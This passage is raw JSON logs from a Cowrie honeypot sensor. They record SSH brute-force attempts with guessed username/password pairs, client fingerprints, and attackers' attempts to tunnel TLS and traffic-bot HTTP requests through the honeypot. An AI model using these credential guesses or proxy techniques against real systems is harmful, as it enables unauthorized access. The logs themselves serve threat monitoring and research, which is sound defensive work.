00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{\\x11V\\x7f}L\\xa2\\xb1\\xd7\\xd3.\\xbc5;\\xbem\\x92+\\xa0\\x0eW\\xe6X#\\xb3v8\\xb4\\x8dW\\x1cR \\x92\\xd3\\x81O\\xe6\\xfd\\x17P2\\xd4%\\xedSkJ\\xa3\\x9b\\xe7\\xb6\\xa5LOO\\xf8\\xe7\\x02\\xe7\\x9f\\xb4\\xf6\\xf7\"\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1Fj@B\\xa4\\xfa\\x1f\\xa8\\x83\\xa5{\\xbc\\xd6\\xcf\\x85>c\\xd8m\\xdb\\xebm5\\xc3(\\x87\\xcb\\ro\\x86y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.646555Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.682720Z","src_ip":"49.247.37.22","session":"a72a5a4f4634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:53.098460Z","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:53.328360Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\x98})<\\xd7\\xf1%f+\\xf7\\x05\\xca\\x0b\\xa5\\xec\\x8f\\x0b\\xf8$:\\x9e\\xe0\\x17?G\\xdcf\\xbe\\xc4{\\xc3 l\\xfc\\xf5ot\\x99\\xdeKk\\xdb5\\xf1\\x9c\\xf5\\xfb\\x10]=\\xcb\\xa4\\x9dnw9\\x9a\\xab\\xdelo!\\xceL\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3U\\xdd\\xb1\\x93\\xfegk(/\\x9fw\\xacL3\\xa3\\x86\\xa5\\xd6`F\\xf8\\xaci\\xe8\\xcc}\\x14\\xcd\\xea\\xb9Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\x98})<\\xd7\\xf1%f+\\xf7\\x05\\xca\\x0b\\xa5\\xec\\x8f\\x0b\\xf8$:\\x9e\\xe0\\x17?G\\xdcf\\xbe\\xc4{\\xc3 l\\xfc\\xf5ot\\x99\\xdeKk\\xdb5\\xf1\\x9c\\xf5\\xfb\\x10]=\\xcb\\xa4\\x9dnw9\\x9a\\xab\\xdelo!\\xceL\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3U\\xdd\\xb1\\x93\\xfegk(/\\x9fw\\xacL3\\xa3\\x86\\xa5\\xd6`F\\xf8\\xaci\\xe8\\xcc}\\x14\\xcd\\xea\\xb9Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:53.331714Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaw","password":"shaw","message":"login attempt [shaw/shaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:53.528313Z","src_ip":"49.247.37.22","session":"a72a5a4f4634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:53.692736Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":46224,"dst_ip":"159.203.135.109","dst_port":22,"session":"d386799cbe36","protocol":"ssh","message":"New connection: 41.90.100.147:46224 (159.203.135.109:22) [session: d386799cbe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:54.203634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:54.207489Z","src_ip":"41.90.100.147","session":"d386799cbe36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:54.423218Z","src_ip":"41.90.100.147","session":"d386799cbe36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:54.742985Z","src_ip":"49.247.37.22","session":"a72a5a4f4634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456789","message":"login attempt [root/Aa.123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:55.317526Z","src_ip":"41.90.100.147","session":"d386799cbe36","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:56.355548Z","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:56.370142Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXlfZWllOGhjSCZebj9yWA%3D%3DoIWmwmZb9737WEDRAYSgaoeoKl%2Bd3oGQvV%2F%2F1i2VGTgtTifhcUfK9%2ByCzti6SnR3nR0img8ypVup%2FCLZH4y9QP5lGciQaXBTPdlJwf8Lovmx%2Bzl2M7cO799EmIFR7Je0mx41xU98oZOPXCXYF4UEvm%2FYSreTrFab4A94QG3N%2FzNlaa8R440h%2BCSXMQjmxxZ%2F0wiOEeXARKGKa0WnB3%2FzlQXlJNoy5V4z6%2FdCKMKyxm%2BLSGpwGGJWh4kFHtrzNxfhy%2B7RaR2ekuGOnBy3OCqhgnY5g1IeroqVdp1J5muZS1VpIbflQY1OJYxKicrduwVlatSUu8X8B7owuaBBiIoAuK0L%2FTBdFx6RotKB44aZd46Z5aipCInj04pmWIScXCNzlxB9Ao%2FCRiTsU3tzq3Gw8YGY6kM%2BupQ83osii4uTOuiUcPKQEaYbi2jtNne2pB7pW3KyrcnmSGzosTj1Vj8Q%2FGf419OL8r%2F1gw64jVheQddvoRZh4qjxaW%2Fd1prg0R5AiAtfYaSWT7lFIWxCxIRKt3TYBd0NOI3NPjQqfI4yRkfY7vki7Ux3%2FzOpEcP4jhHunXJUADIeZbkeu7OVSIRkB50IraQt0h6i%2BwI4tdQVIgyJCVcaKe3sAsrmTVwK8Y%2FKxY6HoQQA9VhOTZciqnLwPq365R%2FglCxpdkEoUnHCFE8RTVzA3Sld1wnDHy7V7sVueZgUzifz5NCGbvd27R2LgqCOmKXODr9TvC9chDOZ4DQ3ujrBFNiWkLL8ymKMzGqnEe0yo7tC9orujCBKqonSTrgUeHRCgrELlokLXR8mGsPNjhQMmfXvQMDGeVpclx7icuxswX2VgyeI7g4QAOjdWwkP7R7lWpceyhJW8YyFTOtlhRlRX4lWBPEys%2BQmkzxnW5yo5XJ77gyOpw3E%2BSK5amKIQXROtpgN2Daob%2FZJ%2FrHdpU2MJG1qA2R8iBIXXZeltT75wac0koE7RJOlk%2BOMvyMu%2FvDtZkFfvpxqpO0NlGsPT7r9rr7aScjmJnvOMIBGQYsGFyPs80R8ZWBeXTFwXGo%2Be54egW40BjYySGfnSA4WmGbPVq5ayjMLEM1FWwSx'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YXlfZWllOGhjSCZebj9yWA%3D%3DoIWmwmZb9737WEDRAYSgaoeoKl%2Bd3oGQvV%2F%2F1i2VGTgtTifhcUfK9%2ByCzti6SnR3nR0img8ypVup%2FCLZH4y9QP5lGciQaXBTPdlJwf8Lovmx%2Bzl2M7cO799EmIFR7Je0mx41xU98oZOPXCXYF4UEvm%2FYSreTrFab4A94QG3N%2FzNlaa8R440h%2BCSXMQjmxxZ%2F0wiOEeXARKGKa0WnB3%2FzlQXlJNoy5V4z6%2FdCKMKyxm%2BLSGpwGGJWh4kFHtrzNxfhy%2B7RaR2ekuGOnBy3OCqhgnY5g1IeroqVdp1J5muZS1VpIbflQY1OJYxKicrduwVlatSUu8X8B7owuaBBiIoAuK0L%2FTBdFx6RotKB44aZd46Z5aipCInj04pmWIScXCNzlxB9Ao%2FCRiTsU3tzq3Gw8YGY6kM%2BupQ83osii4uTOuiUcPKQEaYbi2jtNne2pB7pW3KyrcnmSGzosTj1Vj8Q%2FGf419OL8r%2F1gw64jVheQddvoRZh4qjxaW%2Fd1prg0R5AiAtfYaSWT7lFIWxCxIRKt3TYBd0NOI3NPjQqfI4yRkfY7vki7Ux3%2FzOpEcP4jhHunXJUADIeZbkeu7OVSIRkB50IraQt0h6i%2BwI4tdQVIgyJCVcaKe3sAsrmTVwK8Y%2FKxY6HoQQA9VhOTZciqnLwPq365R%2FglCxpdkEoUnHCFE8RTVzA3Sld1wnDHy7V7sVueZgUzifz5NCGbvd27R2LgqCOmKXODr9TvC9chDOZ4DQ3ujrBFNiWkLL8ymKMzGqnEe0yo7tC9orujCBKqonSTrgUeHRCgrELlokLXR8mGsPNjhQMmfXvQMDGeVpclx7icuxswX2VgyeI7g4QAOjdWwkP7R7lWpceyhJW8YyFTOtlhRlRX4lWBPEys%2BQmkzxnW5yo5XJ77gyOpw3E%2BSK5amKIQXROtpgN2Daob%2FZJ%2FrHdpU2MJG1qA2R8iBIXXZeltT75wac0koE7RJOlk%2BOMvyMu%2FvDtZkFfvpxqpO0NlGsPT7r9rr7aScjmJnvOMIBGQYsGFyPs80R8ZWBeXTFwXGo%2Be54egW40BjYySGfnSA4WmGbPVq5ayjMLEM1FWwSx'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:56.374471Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:56.535857Z","src_ip":"41.90.100.147","session":"d386799cbe36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.400885581970215,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:59.056426Z","src_ip":"172.81.62.90","session":"d2438469bd64","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.347618Z","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:02.474309Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2J\\xf4\\xdb\\xba\\x0e\\x93\\xc7\\xe9i*\\xbd\\x83\\xae\\x8e\\xa7\\xe2\\xbb\\xa5On\\x80\\x1e\\x0e\\xb3\\x8fiP\\xf5t@\\x04 +#i\\xfa\\x94\\x0e\\xf9r\\xa4u\\xa2V\\xb0U\\x97\\xcf\\x82W\\xd7\\x9be\\x1e\\xe6C\\xba*\\x15\\xa8h\\x9cM\\xfc\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 